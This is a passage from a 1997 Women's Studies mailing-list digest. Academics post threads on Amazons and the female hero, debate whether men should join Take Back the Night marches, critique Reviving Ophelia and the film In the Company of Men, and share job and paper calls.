the WLRN. Ginny Daley ginnyd@duke.edu ========================================================================= Date: Tue, 23 Sep 1997 17:51:48 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Reina Pennington Subject: Re: amazons Comments: To: BETTY POWELL In-Reply-To: <01INYNDR1RYC907KM8@InfoAve.Net> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable At 12:00 AM -0400 9/23/97, Betty J. Powell wrote: >I have a student who is interested in doing her senior seminar paper >on the female hero and amazons. she hasn't yet focused the topic, >but is wondering when the word ""hero"" was first applied to a female. >So far, what we find is the use of ""heroine"" rather than hero. Also, >she's looking into the amazon figure and it metamorphosis in >literature. Any hints on either/both of these? The original ""Hero"" in Greek legend was a priestess of Aphrodite; when her lover, Leander, died in the Hellespont while swimming to see her, she drowned herself. The following should give you a good start; many focus on amazons as historical figures as well as mythological image. Blashfield, Jean F. _Hellraisers, Heroines, and Holy Women._ New York: Superlative House, 1981. Boulding, Elise. _The Underside of History: A View of Women Through Time._ Boulder, CO: Westview, 1976. Davis-Kimball, Jeannine. ""Warrior Women of the Eurasian Steppes."" _Archaeology_ Jan/Feb 1997: 44-48. =46antham, Elaine, et al. _Women in the Classical World: Image and Text._ New York: Oxford University Press, 1994. Jones, David E. _Women Warriors: A History._ Washington, DC: Brassey's, 199= 7. Kleinbaum, Abby Wettan. _The War Against the Amazons._ New York: McGraw Hill, 1983. Lefkowitz, Mary R. ""Influential Women."" _Images of Women in Antiquity._ Eds. Cameron, Averil and Am=E9lie Kuhrt. Detroit: Wayne State UP, 1983. 49-6= 5. Macdonald, Sharon, Pat Holden, and Shirley Ardener. _Images of Women in Peace and War._ London: Macmillan, 1987. Mayor, Adrienne and Josiah Ober. ""Amazons."" _MHQ: The Quarterly Journal of Military History_ : 68-77. Newark, Tim. _Women Warlords._ London: Blandford/Cassell Artillery House, 1989. Pantel, Pauline Schmitt, Ed. _A History of Women in the West: I. From Ancient Goddesses to Christian Saints._ 4 vols. Vol. 1. Cambridge, MA and London: Belknap, 1992. Pearson, Carol and Katherine Pope. _The Female Hero in American and British Literature._ New York: R. R. Bowker, 1981. Pisan, Christine de. _The City of Ladies._ London: 1521. Rothery, Guy Cadogan. _The Amazons in Antiquity and Modern Times._ London: =46rancis Griffiths, 1910. Salmonson, Jessica Amanda. _The Encyclopedia of Amazons: Women Warriors from Antiquity to the Modern Era._ New York: Paragon House, 1991. (This is a seriously flawed work; it mixes history and myth without distinction, and many of its historical assertions are wrong.) Sulimirski, Tadeusz. _The Sarmatians._ New York: Praeger, 1970. Reina Pennington Dept. of History, University of South Carolina ========================================================================= Date: Tue, 23 Sep 1997 21:36:27 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Barbara Winkler Organization: West Virginia Network Subject: Take Back the Night MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Deborah Morrow asked how many Women's Studies programs participate in Take Back the Night Marches. Here at West Virginia University the Take Back the Night March is organized by the feminist student organization of which I am the faculty advisor (and my time-limited but renewable appointment is solely within Women's Studies). The event, however, is co-sponsored by Women's Studies as well as other campus units. I'm not exactly sure when the first Take Back the Night was organized, but it has been in existence for as long as I've been at WVU - since Jan. 1993. It is the biggest event the Female Equality Movement (FEM) puts on each spring and the students fund-raise and organize for it starting in the Fall. We are hoping that it will eventually be a university rather than FEM organized event; the new head of the Sexual Assault and Prevention Education office is interested in closer participation. Barbara Scott Winkler, WVU BWINKLER@wvu.edu ========================================================================= Date: Wed, 24 Sep 1997 00:03:41 -0400 Reply-To: sandyl@nervm.nerdc.ufl.edu Sender: Women's Studies List From: Sandra Lorean Organization: University of Florida Subject: Tenure track possition MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The Department of Sociology at the University of Florida announces two openings for tenure track Assistant Professors, beginning August 1998. The first position is in Women's Studies, with 50 percent appointment in Sociology and 50 percent in the Center for Women's Studies and Gender Research. Our second position is in the area of Health and Aging. Secondary areas for this latter position are open, but we would prefer candidates with expertise in research methodology. Both positions require a Ph.D. and a strong commitment to attracting extramural funding. Please send a letter of application (briefly outlining teaching and research interests), a vita, and the names and e-mail/snail mail addresses of three references to Michael L. Radelet, Chair, Department of Sociology, University of Florida, P.O. Box 117330, Gainesville FL 32611. Deadline: December 1. The University of Florida is an Equal Employment Opportunity and Affirmative Action Employer. ========================================================================= Date: Wed, 24 Sep 1997 02:36:57 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Gloria Cowan Subject: Re: Take Back the Night Although I am not certain this was the first TBTN march, in 1978 Women Against Violence Against Women (WAWAV) held a national conference in San Francisco on ""Feminist Perspectives on Pornography"" and staged a Take Back the Night March through San Francisco's porn district. The conference led to the publication of Take Back the Night (Laura Lederer, ed. 1980), a book of readings by antipornography feminists. Gloria Cowan glorandbil@aol.com ========================================================================= Date: Wed, 24 Sep 1997 08:45:16 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Nancy J. Smith"" Subject: Re: critique of Reviving Ophelia In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I, too, may be using Ophelia in a course next summer. The course will be for teachers. I would appreciate suggestions for readings of research on pre and adolescent girls of color, lower SES, bi/lesbian, physically challenged... I've noted the lists of fiction recently, but other suggestions for any related readings would be helpful. Thanks, Nancy Smith nsmith@marauder.millersv.edu On Mon, 22 Sep 1997, Angela E Hubler wrote: > I am in search of bibliographic help. Has anyone read a review or essay > on Mary Pipher's _Reviving Ophelia_ that focuses either on her failure to > actually suggest the kind of cultural changes necessary to address the > problems she discusses, or her final set of case studies ""of > five strong young women?"" (I agree with the fact that they are strong. > What bothers me is that although she has dealt only with the problems of > white girls in the previous parts of the book, with the exception of two > American > Indians girls, in her final examples she points out that ""two of the > young women are black, one is Hispanic and three are poor. Properly > faced, adversity builds character."" It strikes me that if Pipher had > addressed the specificity of the issues faced by female adolescents of > color and of those who are poor, her calls for change would have to be > more thoroughgoing.) I can't be the first person who has noticed this, and > I'd like to read any examples of such criticism. > > Let me hasten to say that I have just finished teaching this book in a > course called ""Stories of A Young Girl"" and my students really liked it. > I think it would work well in an intro. class, especially paired with a > text like hooks _Feminist Theory from Margin to Center_ which provides a > coherent way of theorizing the issues Pipher raises in the book. I would > be surprised if the 18 years olds in the group for whom an earlier poster > would think they ""were beyond"" the book. > > Angela Hubler > lela@ksu.edu > ========================================================================= Date: Wed, 24 Sep 1997 09:37:59 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Barbara Peters Organization: Southampton College of L.I.U. Subject: biological averages MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Hello, I'm teaching gender in my family class right now. Before I become the professor teaching from the yellow notes. . . I need to update some info and can't find where I got the information in the first place. Will I never learn to use cites in my lecture notes. . . Anyway, I was giving the average height, weight, measurements, blood supply, body fat %, hearing, etc. differences between men and women. Can anyone tell me where I might find this info to update my notes?? Thank you. Peace, Barbara ""O wad some power the giftie gie us- to see oursels as others see us!"" . . . Robert Burns TO A LOUSE Barbara J. Peters, Assistant Professor Social Sciences Division Long Island University - Southampton 239 Montauk Highway Southampton, NY 11968 (516) 287-8236 FAX: (516) 287-8203 e-mail bpeters@southampton.liunet.edu ========================================================================= Date: Wed, 24 Sep 1997 10:12:11 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jessie Ann Owens Subject: query about MA programs in Women's Studies MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I am graduate advisor for the joint master's degree program in Music and Women's Studies at Brandeis University. In an effort to raise scholarship funds to support Women's Studies, I am writing a report about typical costs and financial aid availability for other master's degree program (either in WOmen's Studies or jointly with Women's Studies and a discipline). I would be very grateful if you could tell me 1. How much it costs to do a master's degree (tuition and fees) 2. What kinds of financial aid or fellowship funding are available Many thanks. Jessie Ann Owens jowens@ix.netcom.com Professor of Music Brandeis University ========================================================================= Date: Wed, 24 Sep 1997 10:58:54 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Mandle Subject: Re: Take Back the Night I am curious about the evolution of Take Back The Night Marches. I know that they began by including both men and women in most places (I marched in Philadelphia very early in the 80s in such a march). At Colgate however there is a battle every year about whether they should or should not include men. In the past men have been excluded on the grounds that they make women uncomfortable, or that women feel empowered when men are absent. Recently men have been included, many more women and men have come out and they marches have begun to have more of an impact on the campus. I have been a strong advocate of getting as many people to march as possible and linking the march to other education around violence on campus (rather than having it be an isolated event). I would welcome others' views and experiences on this issue of men on the marches and how successful or unsucessful these events have been. Joan D. Mandle Colgate University ========================================================================= Date: Wed, 24 Sep 1997 11:16:42 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Feltey Subject: Re: Take Back the Night In-Reply-To: Message of Tue, 23 Sep 1997 12:48:28 -0500 from The University of Akron Women's Studies Program co-sponsors the Take Back the Night March which is organized by the Rape and Sexual Assault Services Program of the YWCA in Akron. Other organizations are represented as well (Battered Women's Shelter, etc.). There is a rally and women-only march and a program for men. The first rally was held in 1978 in Vancouver. Hope this helps! ************************************************************************* KATHRYN FELTEY R1KMF@VM1.CC.UAKRON.EDU DIRECTOR OF WOMEN'S STUDIES KFELTEY@UAKRON.EDU 204 LEIGH HALL UNIVERSITY OF AKRON 330-972-7008 (PHONE) AKRON, OH 44325-6218 330-972-5263 (FAX) ************************************************************************* ========================================================================= Date: Wed, 24 Sep 1997 12:09:45 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: JEANNE STEVENSON Subject: Re: Library System Try ONLINE!; a Reference Guide to Using Internet Sources by Andrew Harnack and Eugene Kleppinger, St. Martin's Press. This includes a chapter on Evaluating Internet Sources as well as citation information using MLA, APA, Chicago, and CBE styles. Jeanne Stevenson JSTEVENS@ndm.edu ========================================================================= Date: Wed, 24 Sep 1997 12:57:24 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Schweitzer Subject: Re: in the Company of men MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I have not seen this film, nor do I care to. However, from what I have read, in fairness it is not precisely about a quest where two men set out to destroy a woman. Rather, the FIRST man, who is completely amoral and embodies corporate competitiveness at its most rapacious, persuades the SECOND man, who is fundamentally a decent man, to go along with the game. As the woman is destroyed, so is the second man. One could therefore go with an interpretation that by passively buying into the misogynous games of his charismatic, very male companion -- by submitting to the worst of masculine culture -- the SECOND man loses his soul. So it's not a clearcut line, where men are to dominate and women are to be destroyed. Rather, the vicious behavior of the first man is enabled by the acquiescence of the second, and the price he pays for his efforts to be admitted into this culture of assaultive masculinity is to himself become the final victim. I think that it therefore could spark some very interesting discussion about whether we are talking gender divisions or the case of an apologist who goes against his own sense of morality in his desire to be part of a culture that -- in reality -- is NOT his genetic destination. That is, just because he is a man, does not mean he has to be rapacious. And rapaciousness is not part of his natural self, but rather is going AGAINST his natural self. So he destroys himself out of a misguided acceptance of what is male and what is female. OTOH -- I would be rather concerned with those who identify with the FIRST character, the manipulator, the one who destroys all around him for the sake of his own gain. And I would be concerned if, in viewing the movie (and this I woudln't know because I haven't seen it -- besides, I'm not male!) the men in the audience are drawn toward the FIRST character and alienated from the weakness in the second character. I personally can do without sadism and misogyny in fiction, given that there is enough of it in real life ... but this movie is NOT supposed to come down on the side of the misogynist sadist -- whereas all too many action movies automatically DO. Mary Schweitzer, Assoc. Prof., Dept. of History, Villanova Univ. (on medical leave since January 1995) mailto:schweit2@ix.netcom.com http://pw1.netcom.com/~schweit2/home.html CIFDS Information Page: http://www.cfids-me.org/ ========================================================================= Date: Wed, 24 Sep 1997 13:01:36 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Maria R. Lowe"" Organization: Southwestern University Subject: Re: in the Company of men Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""------------0493145C71D42C50D53586DE"" --------------0493145C71D42C50D53586DE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit WMST members, I have seen the movie, In the Company of Men, and although I found it to be immensely disturbing, I thought it was a scathing critique of corporate hegemonic masculinity. I am thinking of R.W. Connell's definition of hegemonic masculinity (hm) here. Connell defines hm as the dominant form of masculinity which is ""always constructed vis a vis other forms of marginalized and subordinated masculinities as well as in relation to women. The interplay between different forms of masculinity is an important part of how a patriarchal social order works."" R.W. Connell (1987: 183, 184). To me, the movie illustrates how twisted and inhumane hegemonic masculinity can be especially when placed in the context of corporate america not only to women, but to ""marginalized and subordinated masculinities,"" and to anyone defined as ""other."" Peace, Maria R. Lowe Assistant Professor of Sociology Department of Sociology and Anthropology Southwestern University Georgetown, TX 78626 lowem@southwestern.edu dep't homepage: http://www.southwestern.edu/~socanthro/ --------------0493145C71D42C50D53586DE Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit WMST members, I have seen the movie, In the Company of Men, and although I found it to be immensely disturbing, I thought it was a scathing critique of corporate hegemonic masculinity.  I am thinking of R.W. Connell's definition of hegemonic masculinity (hm) here.  Connell defines hm as the dominant form of masculinity which is ""always constructed vis a vis other forms of marginalized and subordinated masculinities as well as in relation to women.  The interplay between different forms of masculinity is an important part of how a patriarchal social order works."" R.W. Connell (1987: 183, 184). To me, the movie illustrates how twisted and inhumane hegemonic masculinity can be especially when placed in the context of corporate america not only to women, but to ""marginalized and subordinated masculinities,"" and to anyone defined as ""other."" Peace, Maria R. Lowe Assistant Professor of Sociology Department of Sociology and Anthropology Southwestern University Georgetown, TX 78626 lowem@southwestern.edu dep't homepage:  http://www.southwestern.edu/~soc anthro/             --------------0493145C71D42C50D53586DE-- ========================================================================= Date: Wed, 24 Sep 1997 11:27:28 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Thomason Subject: Re: critique of Reviving Ophelia In-Reply-To: <3427EB34.4CBB@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Llike Karola I am pleased to report that my training program, at New College of California, addressed specific components on dealing with racial, cultural, and other differences. This is done through specific course work, integration of diversity questions into all courses, and having a diverse faculty. It's not perfect, for sure. But there is awareness and commitment. I would also add that lack of training by others does not excuse an author's ignorance. The author is responsible for the content. Jackie At 11:15 AM -0500 9/23/97, Karola Alford wrote: >Andrea J Benintende wrote: >> >> i could be mis-speaking, but i think that the author is a therapist by >> trade, and not to excuse any shortcomings on her part regarding race and >> class issues, we therapists are not generally given *any* training on >> these issues when in school. people are assumed to be *all* the same > >Andrea, > I am happy to report that in many counselor training programs, this is >changing. My training did include intensive work in cultural diversity >and there is a growing body of work related to how culture interfaces >with therapeutic issues. It's an exciting area! > >Karola Alford >cfka@eiu.edu >Eastern Illinois University __________ Jackie Thomason 510-547-1518 jackiet@sirius.com; Msjackiet@aol.com __________ ========================================================================= Date: Wed, 24 Sep 1997 13:34:50 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Christine Smith Subject: take back the night MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT The issue of whethger men should participate in TBTN marches is one that comes up alot. When I was teaching at Ball State, the TBTN march was women-only, and the men did a separate vigil and did childcare. at the end was a rally and spekout that included both women and men. To me, TBTN marches are about empowering women so that we can feel safe and not need men to protect us (from...?). I think the marches should be women-only, symbolizing desire to feel safe as women without men. Christine Smith 10casmith@axpvm1.cis.pitt.edu casmith@lclark.edu ========================================================================= Date: Wed, 24 Sep 1997 14:55:41 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: PAT HARTMAN Subject: master's programs combining WS and labor relations? A senior undergraduate of mine is looking for a master's program where she could combine her interests in industrial labor relations and women's studies. She's now majoring in communication studies/PR and getting a certificate in women's studies. She's been especially interested in PR and labor relations in the health care field, but doesn't necessarily want to stick with that. She like eventually to aim for a government or corporate position that would deal with union matters. Any suggestions out there? Thanks. Patricia Hartman, Director Women's Studies Program California University of Pennsylvania California, Pennsylvania 15419 hartman@cup.edu ========================================================================= Date: Wed, 24 Sep 1997 15:24:35 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Anne Carson Subject: Take Back the Night There was a Take Back the Night march in October 1977 in Pittsburgh. Presumably there were others at the same time on the coasts. Since 1978 I have participated, on and off, in Take Back the Night marches in Pittsburgh, Providence, and Ithaca, NY, sometimes as part of a university contingent (the march always being a citywide effort) and sometimes independently. For some of the earlier marches men were requested to march towards the back of the line or at least not up front, to give women visibility; in Ithaca men now hold a vigil and speak-out against violence downtown while the women are marching, and are joined by the women for the main rally. The point to be conveyed by trying not to have men in the march is that it is WOMEN who are taking back the night, while at the same time recognizing that there are men who reject all violence against women. I compare this to women being requested not to participate in the black men's Million Man march. Anne Carson Cornell University carson@law.mail.cornell.edu ========================================================================= Date: Wed, 24 Sep 1997 15:10:58 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Karola Alford Organization: Eastern Illinois University Subject: Re: take back the night MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Christine Smith wrote: > > The issue of whethger men should participate in TBTN marches is one that > comes up alot. When I was teaching at Ball State, the TBTN march was > women-only, and the men did a separate vigil and did childcare. at the > end was a rally and spekout that included both women and men. > To me, TBTN marches are about empowering women so that we can feel safe and > not need men to protect us (from...?). I think the marches should be > women-only, symbolizing desire to feel safe as women without men. > Christine Smith > 10casmith@axpvm1.cis.pitt.edu > casmith@lclark.edu My personal opinion is that it is inspiring and uplifting to see men committed to the causes typically referred to as ""women's issues."" I think we, as a society, have more to gain by *including* others than we do by exclusion of others. I am tired of devisiveness. I am tired of the ""us and them"" mentality. I know some wonderful human beings who happen to be male who would enthusiastically march in support of women to ""Take Back the Night."" What is there to gain in saying ""no, we don't want or value your support because you have a penis""? Karola Alford Eastern Illinois University cfka@eiu.edu ========================================================================= Date: Wed, 24 Sep 1997 15:31:22 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Emily Toth Subject: GOSSIP IN ACADEMIA Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Call for Participants: Conference session on GOSSIP IN ACADEMIA South Central Modern Language Association, November 12-14, 1998 I am seeking participants for a conference session/panel discussion on gossip in academic life. Some possible topics: networking, background checks, cronyism vs. meritocracy, academic urban legends, careers wounded or enhanced, romantic and financial secrets, academic personages as subjects and objects of gossip, lying and blurting, literary role models and cautionary tales. I'D PARTICULARLY LIKE PARTICIPANTS who might answer such women-related questions as these: How is networking especially useful and enhancing for women? Can secretaries and women faculty members form useful alliances? What do we say to ""this friend who has this problem"" with sexual harassment from a senior colleague in her department, one who'll vote on her tenure? What do women know--and men don't--about academic men? How do we reveal off-the-record information, such as about sexual harassers? How are women portrayed in academic novels? What do academic women gossip about--and should we? I welcome inquiries, correspondence, whatever. The session proposal needs to be completed by mid-late October, 1997. And please share this with anyone else who might be interested. Emily Toth Professor of English & Women's Studies Allen Hall Louisiana State University Baton Rouge, LA 70803 e-mail: etoth@unix1.sncc.lsu.edu office phone: 504-388-3152 English Dept. fax: 504-388-4129 THE BOOK TO BUY: MS. MENTOR'S IMPECCABLE ADVICE FOR WOMEN IN ACADEMIA by Emily Toth. University of Pennsylvania Press, 1-800-445-9880. View it on this Web site: http://www.higheredjobs.com/test2/ ========================================================================= Date: Wed, 24 Sep 1997 17:42:33 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Patrice McDermott Subject: FW: Call for Papers (fwd) Comments: To: Georgetown Research On Women MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Please excuse duplicate postings. Some folks on each of these lists may be interested. *** Reply to custsupp@slinfo.com *** Patrice McDermott patricem@CapAccess.org ---------- Forwarded message ---------- CALL FOR PAPERS Deadline: Postmarked Dec. 15, 1997 SoftLine Information announces it's 1997 Call for Papers to be included in a new category of it's full-text, focused CD-ROM database of carefully selected women's publications, Women 'R'. SoftLine invites contributions to the database that address: WOMEN'S ISSUES WITH AN INTERNATIONAL PERSPECTIVE This is an opportunity to share previously unpublished papers with a wide audience. Women 'R' presents in-depth coverage of the wide range of subjects that impact and reflect on the lives of women. It is utilized as a research tool at major academic and public libraries and will soon be available online through selected online subscription services. The database has been developed with the encouragement of the Collections Development Committee of ACRL's Women's Studies Section. Background information on SoftLine Information and Women 'R' is located at our website www.slinfo.com/wr.htm -Research should be original and not previously published. -Essays should be no less that 5 pages in length. -Submissions must include a summary of not more than two pages describing the relationship of the paper to the theme, the theoretical framework, sources of data, methodology and results and their implications. -Two copies of each of the Summary, Work and separate Title page with name, address and contact information. -Deadline for submission is postmarked no later than Dec. 15, 1997 -Notification of acceptance will be mailed by Jan. 30, 1998. Submissions will be reviewed by Editorial Board for content. Send to: Eileen Heckerling, President SoftLine Information, Inc. phone: (203) 975-8292 20 Summer Street fax: (203) 975-8347 Stamford, CT 06901 email:custsupp@slinfo.com ----------End of Original Message---------- ========================================================================= Date: Wed, 24 Sep 1997 19:17:57 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Tammie Davis Subject: racism/education Hi list members I am doing research on individuals experience with education and racism. I would like to profile people's personal writings on their experience through history. Does anyone have any suggestions? Thanks in advance! tammie justicetoo@aol.com ========================================================================= Date: Wed, 24 Sep 1997 23:10:26 +0200 Reply-To: thomasg@ifi.uio.no Sender: Women's Studies List From: Thomas Gramstad Subject: Re: amazons In-Reply-To: Reina Pennington 's message of Tue, 23 Sep 1997 17:51:48 -0400 Reina Pennington wrote: ..a great list of recommendations and > Salmonson, Jessica Amanda. _The Encyclopedia of Amazons: Women > Warriors from Antiquity to the Modern Era._ New York: Paragon > House, 1991. (This is a seriously flawed work; it mixes history > and myth without distinction, and many of its historical > assertions are wrong.) Salmonson may be a poor historian, but she's a great storyteller. I'm sure the books she has written and/or edited have incited an interest in Amazons in many people. I don't think there exists a netforum about historical Amazons and female heroes (correct me if I'm wrong). I'm wondering whether it would be a good idea to get one started. A forum with a focus on the history and mythology of Amazons (including discerning the one from the other!). Thomas Gramstad thomasg@ifi.uio.no ========================================================================= Date: Wed, 24 Sep 1997 23:28:07 +0200 Reply-To: thomasg@ifi.uio.no Sender: Women's Studies List From: Thomas Gramstad Subject: Re: amazons In-Reply-To: BETTY POWELL 's message of Mon, 22 Sep 1997 14:33:28 -0400 Another place to get information about books about Amazons and female heroes, as well as actually getting copies of the books, is the Feminist Science Fiction, Fantasy, & Utopia web pages at: http://www.uic.edu/~lauramd/sf/femsf.html I'll also have to recommend AMAZON.com(!) -- the name is most fitting even if unintentional, their stock of Amazon-related material seems to be bigger than even some specialized feminist bookstores. (http://www.amazon.com) Thomas Gramstad thomasg@ifi.uio.no ========================================================================= Date: Wed, 24 Sep 1997 19:41:25 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Sarah Ullman Subject: in the company of men I found this movie well-done as an accurate portrayal of two prototypical types of men in this culture. However, it may be overly simplistic to see the ""less"" patriarchal man as only a victim of the rapacious, evil one. In some ways, this less overt violent evil man could be seen as even more responsible for playing a role in victimizing the woman in the evil friend's game, because he knew right from wrong supposedly, had some caring feelings/ capacity and should have known better--in other words, he should not be excused as less responsible for simply going along and trying to be accepted in the patriarchal society. Men who are aware and have not been ""oversocialized"" to patriarchal violent behavior and abuse may be the only ones who are reachable and amenable to possibly choosing a different type of way of living. I also had the concern expressed by another poster on this topic that men might identify with the evil, rapacious man and/or want to be like him because he is the embodiment of patriarchal power and control and is ""no victim."" Of course feminists can see how the depth of his experience/ humanity is obviously limited by his abusive behavior, but it doesn't appear that way in the movie and it may in fact not be that way in a society that rewards those men the most highly as best meeting the standard of traditional male socialization. Sarah Ullman ========================================================================= Date: Wed, 24 Sep 1997 21:12:29 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: PAT HARTMAN Subject: Monteverde Institute address A few weeks ago there was a message about a course in women and development at Monteverde Institute in Costa Rica. A couple of my students have tried the listed e-mail address repeatedly. I've rechecked it with the WMST-L archive and still had no luck. If someone on the list has a current e-mail address for the Institute, please e-mail me privately. Thanks. Pat Hartman, Director Women's Studies Program California University of Pennsylvania California, Pennsylvania 15419 hartman@cup.edu ========================================================================= Date: Wed, 24 Sep 1997 21:30:30 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances E. Wood"" Subject: Re: take back the night MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit let the wonderful human beings who happen to have penises organize the rest of their sex class and do whatever they need to do. where is the organized male outrage at the treatment of women and children? off with robert bly or john gray, or what? denouncing (or joining) promise keepers or the million man march or what? what, in the name of all that's sweet and holy, is so *damned* frightening about women declaring that they want a space that they define? why is every request at self-defined space denounced by the term divisiveness? i, along with karola alford, am sick of something. i'm sick of having to explain over and over why defining my associations, boundaries, affiliations, etc. is valuable and necessary. why are such attempts at maintaining my mental and spiritual health demonized as what's wrong with this racist, sexist, heterosexist, male-supremacist, hypocritical, necrophilic country? as a korean-american woman said in one of my seminars recently, why do the white folk get bent out of shape when the korean students want to eat together in the cafeteria? this may seem like a ramble to some, but i am sick to death of reactionary double speak--whatever its guises. it may be helpful for listmembers to have a(nother?) look at a piece of feminist history: ""the woman identified woman"", originally published in 1970, most recently in the anthology, _for lesbians only: a separatist anthology_ [for whoever's keeping score, i am not now, nor have i ever in the past been a separatist]. for another look at the ongoing refusal of men to be traitors to male supremacy, see _refusing to be a man_, john stoltenberg, (portland, or: breitenbush books, 1989) . 27 years after the declaration against lesbian-baiting: so much time; so little change. -- Frances E. Wood fwood01@emory.edu I must love the questions themselves as Rilke said like locked rooms full of treasure to which my blind and groping key does not yet fit. ""Reassurance""--Alice Walker ========================================================================= Date: Wed, 24 Sep 1997 21:46:38 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances E. Wood"" Subject: Re: Take Back the Night MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit anne carson-- i don't see the equivalency betw. mmm and tbtn. not all gender-identified/defined space is created equal. culturally- and/or religiosly-defined gender separations are not what's at issue here. moreover, voluntary sex/gender separatism is an ahistorical construct in african*american* experience; we were forced apart enough by circumstance. how have men-only spaces as they have been undertaken in late twentieth century u.s. served to do anything other than reassert allegiance to male supremacy, regardless of racial or ethnic definition? any safe streets activity or re-defining masculine mythologies that you know of, as a consequence of the mmm? any women reassured by promise keepers? what are the iron johns up to these days? still blaming the mother? oh, hell, are there any guys petitioning in protest of women's disparate tee times at golf courses? -- Frances E. Wood fwood01@emory.edu I must love the questions themselves as Rilke said like locked rooms full of treasure to which my blind and groping key does not yet fit. ""Reassurance""--Alice Walker ========================================================================= Date: Thu, 25 Sep 1997 08:41:36 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Tessier Subject: Re: take back the night In-Reply-To: <342973D2.518A@ux1.cts.eiu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm going to step in on this because the discussion of men and TBTN has changed shape so many times. (Interesting, isn't it, how every year when this issue returns we discuss the participation of men.) Anyway, from my point of view the women only marches were not remotely about exclusion of anybody. The idea was that women were going to TAKE BACK the night. In other words, the marches were a response to the carefully drilled messages with which we grew up--a woman should never go out at night without the protection of a man. So the idea was that if women marched as a group they could be out at night (in the street, in fact) all by themselves. Kind of takes the ""juice"" out of it if men also march. I haven't met a man on this campus who claims to be supportive of women's rights who does not understand this argument for a woman-only march. ========================================================================= Date: Thu, 25 Sep 1997 09:14:40 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Cari Michelle Carpenter Subject: Graduate Student Journals MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm an editor of Michigan Feminist Studies, an interdisciplinary journal published by graduate students at the University of Michigan. I'm trying to get in contact with other journals across the country that are edited and published by graduate students. I'd like to establish a dialogue with other editorial boards regarding funding, publicity, and editorial issues. I would appreciate any information about such journals. Thanks in advance-- Best, Cari Carpenter _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ Cari Carpenter Graduate Student Instructor English/Women's Studies University of Michigan Editor Michigan Feminist Studies mfseditors@umich.edu carimc@umich.edu _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ========================================================================= Date: Thu, 25 Sep 1997 09:15:07 -0400 Reply-To: Bill Oetjen Sender: Women's Studies List From: Bill Oetjen Subject: Re: in the company of men &tbtn In-Reply-To: <199709250041.TAA64982@tigger.cc.uic.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear folks, interestingly, the two postings below (from Frances E. Woods and Sarah Ullman) arrived back to back and have parallel messages that are very dear to me. I absolutely agree with both of them. Men have got to start supporting feminist ideas and protests. We have to support them publicly, openly, loudly and endlessly. We have to do so whether they originate from women or men, and we have to do it in a way that respects women's primacy in these issues. Too many men who are feminist have demonstrated absolutely no spine when it comes to confronting other men's sexism/misogyny. Those who want to have my total support. Please pass to them my e-mail address so we can discuss this further. Thank you to all of the great, powerful, towering women, present and past who have carried on the fight. Bill Oetjen On Wed, 24 Sep 1997, Sarah Ullman wrote: > I found this movie well-done as an accurate portrayal of two prototypical > types of men in this culture. However, it may be overly simplistic to see > the ""less"" patriarchal man as only a victim of the rapacious, evil one. > In some ways, this less overt violent evil man could be seen as even more > responsible for playing a role in victimizing the woman in the evil friend's > game, because he knew right from wrong supposedly, had some caring feelings/ > capacity and should have known better--in other words, he should not be > excused as less responsible for simply going along and trying to be > accepted in the patriarchal society. Men who are aware and have not been > ""oversocialized"" to patriarchal violent behavior and abuse may be the only > ones who are reachable and amenable to possibly choosing a different type > of way of living. > > I also had the concern expressed by another poster on this topic that > men might identify with the evil, rapacious man and/or want to be like him > because he is the embodiment of patriarchal power and control and is ""no > victim."" Of course feminists can see how the depth of his experience/ > humanity is obviously limited by his abusive behavior, but it 